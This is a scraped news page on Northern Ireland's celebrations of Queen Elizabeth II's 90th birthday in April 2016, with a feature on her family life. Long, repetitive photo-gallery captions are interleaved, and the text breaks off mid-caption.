Press Eye - Belfast - Northern Ireland - 21st April 2016 A mural on Rockview Street in the Village area of south Belfast on the day the Queen celebrates her 90th birthday. Picture by Jonathan Porter/PressEye

Handout photo issued by Harrison Photography of a 21 Gun Salute at Hillsborough Castle, Belfast, to celebrate the 90th birthday of Queen Elizabeth II. PA

Handout photo issued by Harrison Photography of a 21 Gun Salute at Hillsborough Castle, Belfast, to celebrate the 90th birthday of Queen Elizabeth II. PA

Two VIPs, both of whom celebrated their 90th birthday on the same day as The Queen (Thursday, 21 April), Albert Moore from East Belfast (left) and Austin Henderson from Stranmillis (right) assist Deputy Lord Mayor Alderman Guy Spence to light the beacon on the front lawn of City Hall. The Belfast tribute was part of a UK-wide beacon lighting programme marking the Royal birthday. Picture by Jonathan Porter/PressEye

Street parties, beacons, gun salutes and cakes - people across Northern Ireland made every effort to mark the Queen's 90th birthday in style.

At Hillsborough Castle in Co Down it was a proud day for cadets from Queen's University Officer Training Corps taking part in a 21-gun salute at midday.

Under the watchful eye of soldiers from the 206 Ulster Battery, Royal Artillery, 10 student cadets helped to fire three ceremonial field guns for 21 deafening blasts.

More than 100 royal fans gathered to watch the spectacle.

Lt Colonel Brian Johnston, from the Royal Engineers, called the occasion "a great experience on a beautiful day in Hillsborough".

"It was a beautiful event with a high degree of military precision and panache," he said.

The celebration was co-ordinated with similar gun salutes in London, Edinburgh and Cardiff.

"Things like that make you recognise you are part of a bigger event celebrating Her Majesty," added Lt Col Johnston.

"I'm really very proud of the performance of my cadets while serving alongside the gunners."

At Belfast City Hall two pensioners from the city celebrating their 90th birthday were the guests of honour for a beacon-lighting ceremony.

Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Previous Next Close Queen Elizabeth II and Prince Philip, Duke of Edinburgh travel through Windsor in an open top Range Rover after her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images The Royal Standard flies above Windsor Castle as the Queen celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II and Prince Philip, Duke of Edinburgh travel through Windsor in an open top Range Rover after her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images Queen Elizabeth II talks to local women who are all aged in their nineties during her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images Queen Elizabeth II talks to local women who are all aged in their nineties during her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images) Getty Images Queen Elizabeth II and Prince Philip, Duke of Edinburgh wave from the top of an open Range Rover on the monarch's 90th Birthday on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Britain's Queen Elizabeth II (centre L) accompanied by her husband Prince Philip, Duke of Edinburgh greet wellwishers during a 'walkabout' on her 90th birthday in Windsor, west of London, on April 21, 2016. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Britain's Queen Elizabeth II (L) accompanied by Prince Philip, Duke of Edinburgh greet wellwishers during a walkabout on her 90th birthday in Windsor on April 21, 2016. AFP PHOTO / BEN STANSALLBEN STANSALL/AFP/Getty Images AFP/Getty Images Queen Elizabeth II waves to well wishers from a open top Range Rover in Windsor, Berkshire, as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets the public on her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA A gun fires during a 41 gun royal salute to mark the 90th birthday of Queen Elizabeth II at Hyde Park on April 21, 2016 in London, England. 71 horses pulled six First World War-era 13-pounder field guns into place at Hyde Park to fire forty one blank shots. The soldiers, horses and guns are from The King's Troop Royal Horse Artillery who rode out from their forward mounting base in Wellington Barracks and are commanded by Major Robert Skeggs. (Photo by Chris Ratcliffe/Getty Images) Getty Images A gun fires during a 41 gun royal salute to mark the 90th birthday of Queen Elizabeth II at Hyde Park on April 21, 2016 in London, England. 71 horses pulled six First World War-era 13-pounder field guns into place at Hyde Park to fire forty one blank shots. The soldiers, horses and guns are from The King's Troop Royal Horse Artillery who rode out from their forward mounting base in Wellington Barracks and are commanded by Major Robert Skeggs. (Photo by Chris Ratcliffe/Getty Images) Getty Images Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Andrew Matthews/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Anthony Devlin/PA Wire PA Queen Elizabeth II meets well wishers during a walkabout close to Windsor Castle in Berkshire as she celebrates her 90th birthday. Andrew Matthews/PA Wire PA Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images Queen Elizabeth II attends a Walkabout to celebrate her 90th Birthday on April 21, 2016 in Windsor, England. (Photo by Chris Jackson/Getty Images) Getty Images The Burger King restaurant at Tottenham Court Road in London, which has been rebranded for one day only as 'Burger Queen', in honour of Queen Elizabeth II's 90th birthday. David Parry/PA Wire PA Members of the 1st Battalion Welsh Guards band play outside Cardiff Castle in Cardiff, ahead of a 21 Gun salute in honour of The Queen's 90th birthday. Ben Wright/PA Wire PA Crowds gather for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Crowds gather outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. Andrew Matthews/PA Wire PA Crowds gather outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Town criers Steve Clow (left) and Peter Baker join crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. Photo credit: John Stillwell/PA Wire PA Judy (left) and Anne Daley, from Wales, join crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Sandra Martin from TV show Gogglebox joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images David Weeks joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal enthusiast Margaret Tyler holds a cake that she has made for Queen Elizabeth II outside Windsor Castle in Berkshire before a walkabout by the Queen as she celebrates her 90th birthday. John Stillwell/PA Wire PA Steve Clow, one of the 'Three Criers' Town Criers prepares for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. Photo by Chris Jackson/Getty Images) Getty Images The 'Three Criers' Tony Appleton, Steve Clow and Peter Baker prepare for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Judy Daley and Anne Daley from Cardiff wait in position for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Dennis Melvin waits in position for the Queen's 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by Chris Jackson/Getty Images) Getty Images Royal enthusiast John Loughrey and Kathy Martin join crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images A rosette wishing Britain's Queen Elizabeth II a happy birthday is pictured on a royal supporter outside Windsor Castle, west of London, on April 21, 2016, as the Queen celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal supporters pose for pictures outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal supporters gather outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Bunting is pictured outside Windsor Castle, west of London, on April 21, 2016, as Britain's Queen Elizabeth II celebrates her 90th birthday. AFP PHOTO / JUSTIN TALLISJUSTIN TALLIS/AFP/Getty Images AFP/Getty Images Royal enthusiast Margaret Tyler holds a cake that she has made for Queen Elizabeth II outside Windsor Castle in Berkshire before a walkabout by the Queen as she celebrates her 90th birthday. John Stillwell/PA Wire PA The cake made for Queen Elizabeth II by royal enthusiast Margaret Tyler is seen outside Windsor Castle in Berkshire before a walkabout by the Queen as she celebrates her 90th birthday. John Stillwell/PA Wire PA Royal enthusiast John Loughrey joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA Donna Werner, from Connecticut in the USA, joins crowds outside Windsor Castle in Berkshire before a walkabout by Queen Elizabeth II as she celebrates her 90th birthday. John Stillwell/PA Wire PA / Facebook

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Whatsapp Queen Elizabeth II and Prince Philip, Duke of Edinburgh travel through Windsor in an open top Range Rover after her 90th Birthday Walkabout on April 21, 2016 in Windsor, England. Today is Queen Elizabeth II's 90th Birthday. The Queen and Duke of Edinburgh will be carrying out engagements in Windsor. (Photo by John Stillwell - WPA Pool/Getty Images)

A message from the Queen was read by Lord Lieutenant Fionnuala Jay-O'Boyle, with music from the Belfast Temple Salvation Army band.

Looking forward to the ceremony was the DUP's Deputy Lord Mayor Guy Spence.

"Belfast is certainly leading the Northern Ireland celebrations," he said.

"The Queen has brought so many nations and cultures together, especially here in Northern Ireland with her visit just a few years ago to the Irish Republic."

In Derry, Ebrington Square made a spectacular evening setting for the beacon-lighting, with music from the Hamilton Flute Band.

Church leaders from across the city joined in with crowds to sing hymns, and a message from Prince Charles was read by the Lord Lieutenant for Co Londonderry Dr Angela Garvey.

Lloyd Magee, chair of the Bond Street Community Forum, helped to organise the ceremony.

"It's fantastic we're allowed on Ebrington Square to do this - we're really chuffed to bits," Mr Magee said. "Everybody's welcome and we're all very delighted we have a chance to do this for Queen Elizabeth's 90th birthday."

In Enniskillen Hazel Johnston, owner of the Jolly Sandwich Bar, was setting the mood for a night of festivities.

"We're having a street party with elderflower champagne and cupcakes with the Queen's face on them," she said. "There's just a real buzz about the town and a terrific atmosphere.

"We're absolutely delighted to be joining in. We don't know how many people are going to come, but we will do our best.

"We've also made two large cakes with a photo of the Queen walking between the two churches when she was last here in Enniskillen. That was really a terrific bonding moment between everyone when she came here - it was absolutely fantastic."

Last night a cross-community service was held at St Macartin's Cathedral in the town followed by a beacon-lighting ceremony. Two high-powered beams were also shot into the sky, crossing over to symbolise the two communities coming together.

And the Enniskillen Castle Museum was lit up with regal purple lights.

"It's all happening in Enniskillen, everyone has worked so hard," Hazel said.

"We're just going about like lamplighters today."
File photo dated 22/04/68 of (left to right) The Duke of Edinburgh, Princess Anne, Prince Edward, Queen Elizabeth II, Prince Andrew and Prince Charles in the grounds of Frogmore House, Windsor, as the Queen may be the head of state, but she is also a mother of four, grandmother to eight grandchildren and great-grandmother to five. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. While she is familiar around the world to millions as a sovereign, it is the Windsors who know the real Elizabeth II, sharing precious family time behind closed doors. See PA story ROYAL Birthday Family. Photo credit should read: PA Wire

File photo dated 16/06/12 of Queen Elizabeth II (fourth from left) and members of the British royal family (from left to right) the Duchess of Cornwall, the Prince of Wales, the Earl of Wessex, the Princess Royal, the Duke of Edinburgh, the Duchess of Cambridge, the Duke of Cambridge on the balcony of Buckingham Palace during the annual Trooping the Colour parade, in central London. The Queen may be the head of state, but she is also a mother of four, grandmother to eight grandchildren and great-grandmother to five. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. While she is familiar around the world to millions as a sovereign, it is the Windsors who know the real Elizabeth II, sharing precious family time behind closed doors. See PA story ROYAL Birthday Family. Photo credit should read: Dominic Lipinski/PA Wire

The Queen with her five great-grandchildren and her two youngest grandchildren in the Green Drawing Room, part of Windsor Castle's semi-State apartments. The children are: James, Viscount Severn (left), 8, and Lady Louise (second left), 12, the children of The Earl and Countess of Wessex; Mia Tindall (holding The Queen's handbag), the two year-old-daughter of Zara and Mike Tindall; Savannah (third right), 5, and Isla Phillips (right), 3, daughters of The Queen's eldest grandson Peter Phillips and his wife Autumn; Prince George (second right), 2, and in the Queen's arms the youngest great-grandchild, Princess Charlotte (11 months), children of The Duke and Duchess of Cambridge.

The Queen may be a head of state, but she is also a mother of four, grandmother to eight grandchildren and great-grandmother to five.

While she is familiar around the world to millions as a sovereign, it is the Windsors who know the real Elizabeth II, sharing precious family time behind closed doors.

The Queen as a mother

Duty often took the Queen away from her children. Royal tours were lengthy, lasting for months, and the monarch was committed to a busy schedule as a young Queen. Her four children, Prince Charles, Princess Anne, Prince Andrew and Prince Edward grew up in the care of nannies and were sent to boarding school.

Courtiers have stated that the Queen was not a tactile mother, but she was said to have been more relaxed with her two youngest children Andrew and Edward, as by then she had found a better work-life balance.

Jonathan Dimblebys biography of the Prince of Wales, with which Charles co-operated, portrayed the Queen as a somewhat distant mother.

However, Anne, now the Princess Royal, later spoke out in support of her parents, saying: I simply dont believe there is any evidence whatsoever to suggest that she wasnt caring. It just beggars belief.

In his Diamond Jubilee tribute, Charles spoke warmly of his mother, addressing her first as Your Majesty, then mummy and telling the crowds they were celebrating the life and service of a very special person.

As a wife

The Queen has been married to the Duke of Edinburgh for more than 68 years and Philip, known for his forthright views, has been an unwavering source of support for the monarch.

Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Previous Next Close File photo dated 03/05/1928 of Princess Elizabeth (now Queen Elizabeth II) waving from the carriage as she drives in London as the Queen turns 90 on the April 21st. PA File photo dated 06/11/1935 of Princess Elizabeth (now Queen Elizabeth II) who turns 90 on the April 21st. PA File photo dated 15/12/1948 of Princess Elizabeth (now Queen Elizabeth II) holding her son Prince Charles after his Christening ceremony in Buckingham Palace as the Queen turns 90 on the April 21st. PA File photo dated 01/01/1933 of two year old Princess Margaret (seated) with her sister Princess Elizabeth (now Queen Elizabeth II) as the Queen turns 90 on the April 21st. PA File photo dated 12/05/1937 of Queen Elizabeth (the Queen Mother) with her eldest daughter Princess Elizabeth (now Queen Elizabeth II) on the balcony of Buckingham Palace, after the coronation of King George VI as the Queen turns 90 on the April 21st. PA File photo dated 10/07/1949 of Princess Elizabeth (now Queen Elizabeth II) opening a holiday centre for young people at Avon Tyrell, Hampshire as the Queen turns 90 on the April 21st. PA File photo dated 01/01/1945 of Princess Elizabeth (now Queen Elizabeth II) at the wheel of an Army vehicle when she served during the Second World War in the Auxiliary Territorial Service as the Queen turns 90 on the April 21st. PA File photo dated 01/05/1926 of the Queen Mother (then the Duchess of York) with her husband, King George VI (then the Duke of York), and their daughter Princess Elizabeth (now Queen Elizabeth II) at her christening as the Queen turns 90 on the April 21st. PA File photo dated 01/01/1942 of Princess Elizabeth (now Queen Elizabeth II) in her Girl Guide uniform as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 30/03/2004 of Britain's Queen Elizabeth II peers round a corner during a visit to the Royal Albert Hall in London, marking the end of an 8 year restoration program as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 28/07/90 of Queen Elizabeth II at Ascot for the King George VI and Queen Elizabeth Diamond Stakes as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: Adam Butler/PA Wire PA File photo dated 21/12/84 of (left to right) the Queen Mother, Queen Elizabeth II, Prince William, Prince Harry and the Prince and Princess of Wales after the christening ceremony of Prince Harry as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 01/06/1967 of Queen Elizabeth II at the garden party in the grounds of the Royal Hospital, Chelsea, London, to mark the 50th anniversary of women in active service, during the Second World War as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 02/06/1959 of Queen Elizabeth II and Duke of Edinburgh at Windsor joined by Sugar, one of the Royal corgis as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 12/03/47 of Princess Elizabeth (now Queen Elizabeth II) riding Jill while Princess Margaret (right) rides Treasure owned by Pat O'Reilly (left) at Bonza Beach, East London, during a break from the royal tour of South Africa, as more than any other interest, horses and ponies have been the Queen's passion throughout her long life. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. The monarch's love for the equine world is something she shared with her mother and she has been breeding and racing horses for more than 60 years. See PA story ROYAL Birthday Horse. Photo credit should read: PA Wire PA File photo dated 21/04/86 of Queen Elizabeth II leaving St Georges Chapel, Windsor following a thanksgiving service at the chapel to mark her 60th birthday, as the Queen's birthday celebrations over the past 90 years have ranged from a quiet morning ride with her children at Windsor to a grand birthday ball for 500 guests. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. Her 40th birthday coincided with the State Opening of Parliament and her 80th was a busy affair including a walkabout, an intimate family dinner followed by fireworks, and a special tribute from the Prince of Wales broadcast to the nation. The monarch celebrates two birthdays each year: her actual one on April 21, as well as her official one on a Saturday in June marked by the Trooping the Colour parade. See PA story ROYAL Birthday Past. Photo credit should read: PA Wire PA File photo dated Queen Elizabeth (now the Queen Mother) & Princess Elizabeth (now Queen Elizabeth II)hold on to their hats as they arrive at Westminster Abbey, as towards the end of her life the Queen Mother was seen as the nation's grandmother, a venerable figure who liked following horse racing form and entertaining her friends. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. The Queen's cousin, Margaret Rhodes, said the Queen Mother's death in 2002 at the age of 101 had a profound effect on her daughter: "Not only of sadness but in a way that she could come into her own as the head of the family and as the most senior royal lady." See PA story ROYAL Birthday Influences. Photo credit should read: PA Wire PA File photo dated 08/06/82 of Queen Elizabeth II riding her horse Centennial in Windsor Home Park, as more than any other interest, horses and ponies have been the Queen's passion throughout her long life. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. The monarch's love for the equine world is something she shared with her mother and she has been breeding and racing horses for more than 60 years. See PA story ROYAL Birthday Horse. Photo credit should read: PA Wire PA File photo dated 20/11/79 of Queen Elizabeth II (third left) and her family enjoying a stroll with their dogs in the grounds of Balmoral Castle, as Corgis have been the Queen's life-long companions - small dogs described as having big personalities. PRESS ASSOCIATION Photo. Issue date: Sunday April 03, 2016. The head of state is famed for her love of the breed with many of her dogs descended from her first pet Susan, who was an 18th birthday present from her parents. See PA story ROYAL Birthday Dogs. Photo credit should read: Ron Bell/PA Wire PA File photo dated 29/04/26 of the then Duke and Duchess of York with their baby daughter Princess Elizabeth (now Queen Elizabeth II), as the Queen was born in 1926 - the year of the country's first and only General Strike. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. Just days after Princess Elizabeth of York arrived into the world, Britain's miners walked out over attempts by pit owners to increase their working hours, but reduce their wages. In a move of solidarity, other industries - ranging from bus, rail, and docks to iron, steel and chemical workers - joined them. See PA story ROYAL Birthday 1926. Photo credit should read: PA Wire PA File photo dated 28/11/01 of Queen Elizabeth II (left) in the Queen Vic pub during a visit to Elstree Studios where EastEnders is filmed. She was accompanied by long standing cast member Barbara Windsor (Peggy Mitchell) and her on-screen son Steve McFadden (Phil Mitchell) as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: Fiona Hanson/PA Wire PA File photo dated 20/07/11 of Queen Elizabeth II during a visit to the National Memorial Arboretum, Staffordshire, where she laid a wreath next to the wall of the Armed Forces Memorial as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: Rui Vieira/PA Wire PA File photo dated 16/09/10 of Queen Elizabeth II talking with Pope Benedict XVI during an audience in the Morning Drawing Room at the Palace of Holyroodhouse in Edinburgh during a four day visit by the Pope to the UK as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: David Cheskin/PA Wire PA File photo dated 23/07/00 of Queen Elizabeth II (left) and the Queen Mother leaving church by horse drawn carriage on the Sandringham Estate, Norfolk as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: Stefan Rousseau/PA Wire PA File photo dated 09/04/2005 of the Prince of Wales leaving St Georges Chapel in Windsor after marrying his former mistress Camilla Parker Bowles, making her an HRH and the Duchess of Cornwall. Queen Elizabeth II (behind) attended their religious blessing but was not present at their civil ceremony as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: Stefan Rousseau/PA Wire PA File photo dated 10/10/14 of actress Angelina Jolie (right) being presented with the Insignia of an Honorary Dame Commander of the Most Distinguished Order of St Michael and St George by Queen Elizabeth II in the 1844 Room at Buckingham Palace, London as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: Anthony Devlin/PA Wire PA File photo dated 11/10/02 of Queen Elizabeth II enjoying a walk about, after visiting the Old Government House in Fredericton, New Brunswick during her two week Royal visit to Canada as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: Kirsty Wigglesworth/PA Wire PA File photo dated 21/04/1974 of Queen Elizabeth II smiling as she celebrated her 48th birthday at Windsor Castle as she turns 90 on the April 21st. PA File photo dated 23/12/1987 of The Queen making her traditional Christmas Day address to the nation and the Commonwealth as she turns 90 on the April 21st. PA File photo dated 08/07/1971 of Queen Elizabeth II leaving the King Edward VII Hospital for Officers after visiting Princess Anne. The Princess had an emergency operation for the removal of an ovarian cyst as the Queen turns 90 on the April 21st. PA Queen Elizabeth II sitting with her corgis, at Virginia Water to watch competitors, including Prince Philip in the Marathon of the European Driving Championship, part of the Royal Windsor Horse Show PA Wire PA File photo dated 10/1/1983 of Queen Elizabeth II inspecting the Guard of Honour at Jomo Kenyatta International Airport as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: Ron Bell/PA Wire PA File photo dated 01/09/72 of Queen Elizabeth II in her study at Balmoral on the year of her silver wedding anniversary as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 16/07/91 of Queen Elizabeth II gesturing to Ruud Lubbers, Prime Minister of the Netherlands and President of the EC Council of Ministers, to sit on an empty chair after the Duke of Edinburgh was absent, as the leaders of the G7 Summit countries gathered for a pre-dinner photo-call in the Music Room at Buckingham Palace, London as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: Martin Keene/PA Wire PA File photo dated 22/11/1988 of The Duke of Edinburgh helping Queen Elizabeth II to alight from the new 120,000 Australia State Coach, Australia's bicentennial gift, at the Houses of Parliament as they arrive for the State Opening as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: David Jones/PA Wire PA File photo dated 01/06/81 of Queen Elizabeth II walking through the crowds at the Royal Ascot race meeting as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA Queen Elizabeth II with some of her corgis walking the Cross Country course during the second day of the Windsor Horse Trials. PA Wire PA File photo dated 21/11/92 of Queen Elizabeth II surveying the scene at following the fire at Windsor Castle as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: Sean Dempsey/PA Wire PA File photo dated 21/04/1976 of Queen Elizabeth II on her 50th birthday with Prince Philip and their youngest son Prince Edward, 12, in the grounds of Windsor Castle as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 15/06/85 of Queen Elizabeth II taking the salute of the Household Guards regiments during the Trooping of the Colour ceremony in London as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 08/11/60 of Queen Elizabeth II holding Prince Andrew during an outing in the grounds at Balmoral, Scotland. He was the first child to be born to a reigning monarch for 103 years as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 25/12/57 of Queen Elizabeth II, in the Long Library at Sandringham, after making the first televised Christmas day broadcast to the nation. The Queen is holding the copy of 'Pilgrim's Progress', from which she read a few lines during her message as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 09/08/1951 of Princess Anne in the arms of Princess Elizabeth (now Queen Elizabeth II) with the Duke of Edinburgh, holding Prince Charles, in the grounds of Clarence House, their London residence as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 15/05/54 of Prince Charles and Princess Anne with their parents, Queen Elizabeth II and Duke of Edinburgh, on the balcony of Buckingham Palace following their return from the Commonwealth tour as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 30/07/1966 of England captain Bobby Moore holding the Jules Rimet Trophy, collected from the Queen Elizabeth II, after leading his team to a 